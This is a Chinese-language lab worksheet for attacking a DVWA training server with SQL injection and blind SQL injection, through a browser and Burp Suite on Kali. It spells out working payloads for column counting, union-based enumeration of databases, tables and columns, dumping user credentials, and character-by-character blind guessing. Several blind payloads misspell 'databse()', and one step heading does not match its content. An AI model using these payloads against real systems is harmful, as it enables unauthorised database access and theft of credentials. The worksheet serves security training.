實驗環境要求:
1、安裝win7或win10的筆記本或PC電腦一臺,硬盤100GB,內存8GB
2、安裝VMware® Workstation 14以上
總體目標:基於centos7搭建dvwa web服務靶機,使用主機上的瀏覽器和kali虛擬機作爲攻擊機。使用kali中的burpsuite和主機上的瀏覽器攻擊dvwa上的sql注入和sql盲注漏洞。
任務一、使用主機瀏覽器攻擊dvwa中sql注入漏洞(low)
1.判斷是否存在注入,注入是字符型還是數字型。
2.猜解SQL查詢語句中的字段數
輸入1’ or ‘1’ = ‘1’ order by 1 #
輸入1’ or ‘1’ = ‘1’ order by 2 # 輸入1’ or
‘1’ = ‘1’ order by 3 #
3.確定顯示的字段順序
輸入1' union select 1,2 #
4.獲取當前數據庫
database()顯示當前數據庫
輸入1’ union select 1,database() #
5.獲取數據庫中的表
輸入1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
任務二、使用kali攻擊dvwa中sql注入漏洞(medium)
1.判斷是否存在注入,注入是字符型還是數字型
2.判斷是否存在注入,是否數字型,抓包更改參數id爲1 or 1 = 1 猜解SQL查詢語句中的字段數,抓包更改參數id爲1 order by 2 確定顯示的字段順序,抓包更改參數id爲1 union select 1,2 獲取當前數據庫,抓包更改參數id爲1 union
select 1,database() 獲取數據庫中的表,抓包更改參數id爲1 union select
1,group_concat(table_name) from information_schema.tables where
table_schema=database() 獲取表中的字段名,抓包更改參數id爲1 union select
1,group_concat(column_name) from information_schema.columns where
table_name=‘users’ 下載數據,抓包修改參數id爲1 union select
group_concat(user_id,first_name,last_name),group_concat(password) from
users
任務三、使用主機瀏覽器攻擊dvwa中sql盲注漏洞(low)
1.判斷是否存在注入,注入是字符型還是數字型
輸入1,顯示相應用戶存在
2.猜解當前數據庫名
想要猜解數據庫名,首先要猜解數據庫名的長度,然後挨個猜解字符。
輸入1’ and length(database())=1 # 顯示不存在;
輸入1’ and length(database())=2 #顯示不存在;
輸入1’ and length(database())=3#顯示不存在;
輸入1’ and length(database())=4 #顯示存在:
3.猜解數據庫中的表名
採用二分法猜解數據庫名
輸入1’ and ascii(substr(databse(),1,1))>97 #,顯示存在,說明數據庫名的第一個字符的ascii值大於97(小寫字母a的ascii值);
輸入1’ and ascii(substr(databse(),1,1))<122 #,顯示存在,說明數據庫名的第一個字符的ascii值小於122(小寫字母z的ascii值);
輸入1’ and ascii(substr(databse(),1,1))<109 #,顯示存在,說明數據庫名的第一個字符的ascii值小於109(小寫字母m的ascii值);
輸入1’ and ascii(substr(databse(),1,1))<103 #,顯示存在,說明數據庫名的第一個字符的ascii值小於103(小寫字母g的ascii值);
輸入1’ and ascii(substr(databse(),1,1))<100 #,顯示不存在,說明數據庫名的第一個字符的ascii值不小於100(小寫字母d的ascii值);
輸入1’ and ascii(substr(databse(),1,1))>100 #,顯示不存在,說明數據庫名的第一個字符的ascii值不大於100(小寫字母d的ascii值),所以數據庫名的第一個字符的ascii值爲100,即小寫字母d。